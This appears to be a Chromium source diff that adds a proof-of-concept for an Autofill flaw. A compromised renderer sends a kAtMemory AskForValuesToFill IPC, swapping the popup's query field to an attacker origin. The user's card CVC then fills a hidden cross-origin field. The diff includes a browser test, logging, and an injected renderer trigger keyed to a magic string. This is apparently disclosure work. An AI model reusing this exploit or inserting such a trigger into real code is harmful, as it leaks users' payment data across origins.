diff --git a/chrome/browser/autofill/autofill_across_iframes_browsertest.cc b/chrome/browser/autofill/autofill_across_iframes_browsertest.cc index ccf2831af27a9..17e441f74143c 100644 --- a/chrome/browser/autofill/autofill_across_iframes_browsertest.cc +++ b/chrome/browser/autofill/autofill_across_iframes_browsertest.cc @@ -30,6 +30,7 @@ #include "components/autofill/core/browser/foundations/browser_autofill_manager.h" #include "components/autofill/core/browser/foundations/browser_autofill_manager_test_api.h" #include "components/autofill/core/browser/foundations/test_autofill_manager_waiter.h" +#include "components/autofill/core/browser/ui/autofill_external_delegate.h" #include "components/autofill/core/browser/test_utils/autofill_test_utils.h" #include "components/autofill/core/common/autofill_constants.h" #include "components/autofill/core/common/autofill_features.h" @@ -908,5 +909,141 @@ IN_PROC_BROWSER_TEST_P(AutofillAcrossIframesTest_Submission, HasValue(kExp), HasValue(kCvc))))); } +// ===================================================================== +// POC: Demonstrates that a (compromised) renderer can send +// AskForValuesToFill(..., kAtMemory) to silently swap +// AutofillExternalDelegate::query_field_ to its own origin while a +// credit-card popup is showing for a cross-origin field, redirecting the +// user's fill to the attacker. +// +// Topology: A = a.com (main frame, "attacker") owns a
with hidden +// cc-* sink fields and a cross-origin iframe to M = b.com ("merchant") +// containing the legitimate cc-number field the user clicks. +// ===================================================================== +class AutofillAcrossIframesTest_AtMemorySwap + : public AutofillAcrossIframesTest { + public: + // Field order in the flattened browser form: + // [0]=A:cc-name [1]=A:cc-number [2]=A:cc-exp [3]=A:cc-csc [4]=M:cc-number + const FormStructure* LoadAttackerEmbedsMerchant() { + SetUrlContent("/m.html", R"()"); + SetUrlContent("/", R"( + + + + + + +
)"); + return NavigateToUrl("/", /*num_fields=*/5); + } + + void AskForValuesToFillAndWait( + const FormData& form, + const FieldGlobalId& field_id, + AutofillSuggestionTriggerSource trigger_source) { + TestAutofillManager& manager = main_autofill_manager(); + TestAutofillManagerWaiter waiter( + manager, {AutofillManagerEvent::kAskForValuesToFill}); + manager.OnAskForValuesToFill(form, field_id, gfx::Rect(), trigger_source, + /*password_request=*/std::nullopt); + ASSERT_TRUE(waiter.Wait(1)); + } +}; + +// Baseline (no attack): user triggers Autofill from M's cc-number field. +// IsSafeToFill blocks A's sensitive fields (cc-number, cc-csc). +IN_PROC_BROWSER_TEST_F(AutofillAcrossIframesTest_AtMemorySwap, + Baseline_TriggerFromMerchant_AttackerSensitiveBlocked) { + const FormStructure* form = LoadAttackerEmbedsMerchant(); + ASSERT_TRUE(form); + ASSERT_EQ(5u, form->field_count()); + // Sanity: field 4 is M's (b.com), fields 0..3 are A's (a.com). + ASSERT_NE(form->field(4)->origin(), form->field(0)->origin()); + // Trigger from M:cc-number (field 4). A:cc-number and A:cc-csc must be "". + EXPECT_THAT(FillForm(*form, *form->field(4)), + ElementsAre(kNameFull, /*A:cc-number=*/"", kExp, + /*A:cc-csc=*/"", /*M:cc-number=*/kNumber)); +} + +// Vulnerability: a compromised renderer in A swaps query_field_ via the +// kAtMemory + kDisabledNotEligible early-return path, redirecting the user's +// credit-card fill (which the user believes is going into M's field) into +// A's cc-number / cc-csc sink fields. +IN_PROC_BROWSER_TEST_F(AutofillAcrossIframesTest_AtMemorySwap, + Vuln_kAtMemorySwap_RedirectsCardFillToAttacker) { + const FormStructure* form = LoadAttackerEmbedsMerchant(); + ASSERT_TRUE(form); + ASSERT_EQ(5u, form->field_count()); + + TestAutofillManager& manager = main_autofill_manager(); + AutofillExternalDelegate* delegate = test_api(manager).external_delegate(); + ASSERT_TRUE(delegate); + + const url::Origin origin_a = form->field(0)->origin(); + const url::Origin origin_m = form->field(4)->origin(); + ASSERT_NE(origin_a, origin_m); + + const FormData browser_form = form->ToFormData(); + + // Step 1: User clicks M's cc-number field. The browser routes both M's and + // A's queries to the SAME root AutofillManager (this one), so this sets the + // shared external_delegate_->query_field_ = M:cc-number. In a real run the + // popup with the user's stored cards is now showing over M's field. + AskForValuesToFillAndWait( + browser_form, form->field(4)->global_id(), + AutofillSuggestionTriggerSource::kFormControlElementClicked); + ASSERT_EQ(delegate->query_field().origin(), origin_m); + + // Step 2: Compromised renderer in A sends AskForValuesToFill(..., kAtMemory) + // for one of its own fields. The browser-side bad_message check accepts + // kAtMemory (only kPlusAddressUpdatedInBrowserProcess is rejected — proven + // separately by the renderer-injection POC). OnAskForValuesToFillImpl calls + // OnQuery() — overwriting query_field_ — and then takes the + // kDisabledNotEligible bare `return` (PersonalContext is + // FEATURE_DISABLED_BY_DEFAULT), so the popup is NOT hidden. + AskForValuesToFillAndWait(browser_form, form->field(0)->global_id(), + AutofillSuggestionTriggerSource::kAtMemory); + + // The swap: query_field_ now belongs to the attacker. + EXPECT_EQ(delegate->query_field().origin(), origin_a) + << "query_field_.origin should have been swapped from M to A"; + EXPECT_EQ(delegate->query_field().global_id(), form->field(0)->global_id()); + + // Step 3: User clicks the card row in the (still-visible) popup. + // AutofillExternalDelegate::DidAcceptSuggestion -> AutofillForm reads the + // SWAPPED query_form_/query_field_ and calls exactly this: + CreditCard card; + test::SetCreditCardInfo(&card, kNameFull, kNumber, kExpMonth, kExpYear, "", + base::ASCIIToUTF16(std::string_view(kCvc))); + manager.FillOrPreviewForm(mojom::ActionPersistence::kFill, + delegate->query_form(), + delegate->query_field().global_id(), &card, + AutofillTriggerSource::kPopup, + /*blocked_fields=*/{}); + + // Step 4: FormFiller passes triggered_origin = query_field_.origin() = A, + // so FormForest::IsSafeToFill clause-2 now marks every origin-A field safe + // for ANY type. A's cc-csc (CREDIT_CARD_VERIFICATION_CODE — sensitive, + // blocked in the baseline) receives the CVC. M's cc-number (origin M ≠ A, + // M ≠ main) stays empty. + // + // (FormFiller's field-type rationalisation reclassifies one of the two + // duplicate cc-number inputs, so A:cc-number happens to come back empty in + // this minimal page; that is a presentation-layer heuristic. The + // *security-relevant* delta vs the baseline is A:cc-csc, which IsSafeToFill + // — Chrome's compromised-renderer defence — was supposed to block.) + std::vector values = + AllFieldValues(web_contents(), browser_form); + ASSERT_EQ(5u, values.size()); + // *** This is the cross-origin data leak *** + EXPECT_EQ(values[3], kCvc) + << "A's cc-csc field received the CVC across origins (was blocked " + "in the baseline)"; + EXPECT_EQ(values[4], "") << "M's cc-number stays empty"; + EXPECT_THAT(values, ElementsAre(kNameFull, /*A:cc-number*/ testing::_, kExp, + /*A:cc-csc=*/kCvc, /*M:cc-number=*/"")); +} + } // namespace } // namespace autofill diff --git a/components/autofill/content/browser/content_autofill_driver.cc b/components/autofill/content/browser/content_autofill_driver.cc index 3f2801bfd4174..3e2fa27c9112b 100644 --- a/components/autofill/content/browser/content_autofill_driver.cc +++ b/components/autofill/content/browser/content_autofill_driver.cc @@ -635,6 +635,17 @@ void ContentAutofillDriver::AskForValuesToFill( const gfx::Rect& caret_bounds, AutofillSuggestionTriggerSource trigger_source, const std::optional& password_request) { + // [POC] Instrumentation: log the renderer IPC entry. Note that this is the + // mojom::AutofillDriver implementation; this call came over Mojo from the + // renderer process. CheckSingleValidTriggerSource() (in CheckArgs) only + // rejects kPlusAddressUpdatedInBrowserProcess, so kAtMemory is accepted. + LOG(ERROR) << "[POC][browser] ContentAutofillDriver::AskForValuesToFill " + "(Mojo IPC from renderer) origin=" + << render_frame_host_->GetLastCommittedOrigin().Serialize() + << " trigger_source=" << static_cast(trigger_source) + << (trigger_source == AutofillSuggestionTriggerSource::kAtMemory + ? " [kAtMemory — passes CheckSingleValidTriggerSource]" + : ""); RouteToManager(*this, router(), &AutofillDriverRouter::AskForValuesToFill, &AutofillManager::OnAskForValuesToFill, form, field_id, caret_bounds, trigger_source, password_request); diff --git a/components/autofill/content/renderer/autofill_agent.cc b/components/autofill/content/renderer/autofill_agent.cc index b7bd6ea801437..2e33a230c7209 100644 --- a/components/autofill/content/renderer/autofill_agent.cc +++ b/components/autofill/content/renderer/autofill_agent.cc @@ -2187,6 +2187,50 @@ void AutofillAgent::JavaScriptChangedValue(WebFormControlElement element, if (!element.IsConnected()) { return; } + // ==================================================================== + // POC INJECTION: Simulate a compromised renderer. + // When JS sets a field's value to a magic string, send AskForValuesToFill + // directly over the existing AutofillDriver Mojo pipe, WITHOUT any + // focus/blur/HidePopup IPC. A real compromised renderer would do exactly + // this from shellcode. + // "POC_FIRE_ATMEMORY" -> trigger_source = kAtMemory (the attack IPC) + // "POC_FIRE_NORMAL" -> trigger_source = kFormControlElementClicked + // (test convenience: simulates the user's click in + // the merchant frame so the run can be automated) + // ==================================================================== + { + const std::string poc_val = element.Value().Utf8(); + std::optional poc_ts; + if (poc_val == "POC_FIRE_ATMEMORY") { + poc_ts = AutofillSuggestionTriggerSource::kAtMemory; + } else if (poc_val == "POC_FIRE_NORMAL") { + poc_ts = AutofillSuggestionTriggerSource::kFormControlElementClicked; + } + if (poc_ts) { + if (std::optional form_and_field = + form_util::FindFormAndFieldForFormControlElement( + element, field_data_manager(), + GetCallTimerState(kJavaScriptChangedValue), + button_titles_cache(), + /*form_cache=*/{})) { + auto& [poc_form, poc_field] = *form_and_field; + if (auto* drv = unsafe_autofill_driver()) { + LOG(ERROR) + << "[POC][renderer] frame " + << (GetDocument() ? GetDocument().Url().GetString().Utf8() : "?") + << " sending AskForValuesToFill(trigger_source=" + << static_cast(*poc_ts) << ") for field renderer_id=" + << poc_field->renderer_id().value() + << " (no focus/HidePopup sent)"; + drv->AskForValuesToFill(poc_form, poc_field->renderer_id(), + /*caret_bounds=*/gfx::Rect(), *poc_ts, + /*password_request=*/std::nullopt); + } + } + return; + } + } + // ==================================================================== form_tracker_->OnJavaScriptChangedValue(element); if (!was_autofilled) { diff --git a/components/autofill/core/browser/filling/form_filler.cc b/components/autofill/core/browser/filling/form_filler.cc index 0b021f34deade..d389a25d2d8a7 100644 --- a/components/autofill/core/browser/filling/form_filler.cc +++ b/components/autofill/core/browser/filling/form_filler.cc @@ -22,6 +22,7 @@ #include "base/check.h" #include "base/check_deref.h" #include "base/check_op.h" +#include "base/logging.h" #include "base/containers/flat_map.h" #include "base/containers/flat_set.h" #include "base/containers/map_util.h" @@ -1074,6 +1075,14 @@ void FormFiller::FillOrPreviewForm( return !skip_reasons[field.global_id()].empty() || !form_structure.GetFieldById(field.global_id()); }); + // [POC] Instrumentation: log the triggered_origin that IsSafeToFill will + // use. If the kAtMemory swap succeeded, this is the ATTACKER's origin even + // though the user accepted a popup anchored to the merchant's field. + LOG(ERROR) << "[POC][browser] FormFiller::FillOrPreviewForm: " + "ApplyFormAction triggered_origin=" + << autofill_trigger_field.origin().Serialize() + << " (fields with this origin receive ALL data including " + "cc-number/cc-csc via IsSafeToFill clause-2)"; base::flat_set safe_filled_field_ids = manager_->driver().ApplyFormAction( mojom::FormActionType::kFill, action_persistence, result_fields, diff --git a/components/autofill/core/browser/foundations/browser_autofill_manager.cc b/components/autofill/core/browser/foundations/browser_autofill_manager.cc index a9504feed8a5a..bee04b998c436 100644 --- a/components/autofill/core/browser/foundations/browser_autofill_manager.cc +++ b/components/autofill/core/browser/foundations/browser_autofill_manager.cc @@ -26,6 +26,7 @@ #include "base/check.h" #include "base/check_deref.h" #include "base/check_op.h" +#include "base/logging.h" #include "base/containers/flat_map.h" #include "base/containers/flat_set.h" #include "base/containers/map_util.h" @@ -1195,6 +1196,17 @@ void BrowserAutofillManager::OnAskForValuesToFillImpl( if (client().GetPersonalContextEnablementState() == personal_context::PersonalContextEnablementState:: kDisabledNotEligible) { + // [POC] Instrumentation: this is the vulnerable bare-return. OnQuery() + // already overwrote external_delegate_->query_field_ above, but we + // neither hide the popup nor restore the previous query_field_. + LOG(ERROR) << "[POC][browser] BrowserAutofillManager: kAtMemory + " + "kDisabledNotEligible early-return WITHOUT hiding popup. " + "external_delegate_->query_field_ now has origin=" + << field.origin().Serialize() + << " field_id=" << field_id.frame_token.ToString() << "/" + << field_id.renderer_id.value() + << " — any open Autofill popup will fill into THIS origin " + "on accept."; return; } // Show empty suggestions with a search bar to start the flow. diff --git a/components/autofill/core/browser/ui/autofill_external_delegate.cc b/components/autofill/core/browser/ui/autofill_external_delegate.cc index 4ef17f89f69ca..6daa34351f18a 100644 --- a/components/autofill/core/browser/ui/autofill_external_delegate.cc +++ b/components/autofill/core/browser/ui/autofill_external_delegate.cc @@ -17,6 +17,7 @@ #include "base/check.h" #include "base/check_deref.h" +#include "base/logging.h" #include "base/containers/flat_set.h" #include "base/containers/span.h" #include "base/containers/to_vector.h" @@ -333,6 +334,13 @@ void AutofillExternalDelegate::OnQuery( const gfx::Rect& caret_bounds, AutofillSuggestionTriggerSource trigger_source, bool update_datalist) { + // [POC] Instrumentation: log origin swap of query_field_. + LOG(ERROR) << "[POC][browser] AutofillExternalDelegate::OnQuery: " + "query_field_.origin " + << query_field_.origin().Serialize() << " -> " + << field.origin().Serialize() + << " (trigger_source=" << static_cast(trigger_source) + << ", host_frame=" << field.host_frame().ToString() << ")"; query_form_ = form; query_field_ = field; caret_bounds_ = caret_bounds; diff --git a/components/autofill/core/browser/ui/autofill_external_delegate.h b/components/autofill/core/browser/ui/autofill_external_delegate.h index 78c4e91b8cfba..be5ce70b0c361 100644 --- a/components/autofill/core/browser/ui/autofill_external_delegate.h +++ b/components/autofill/core/browser/ui/autofill_external_delegate.h @@ -137,6 +137,8 @@ class AutofillExternalDelegate : public AutofillSuggestionDelegate { void DidEndTextFieldEditing(); const FormData& query_form() const { return query_form_; } + // [POC] Exposed for the browser test demonstrating the kAtMemory swap. + const FormFieldData& query_field() const { return query_field_; } void AttemptToDisplayAutofillSuggestionsForTest( std::vector suggestions,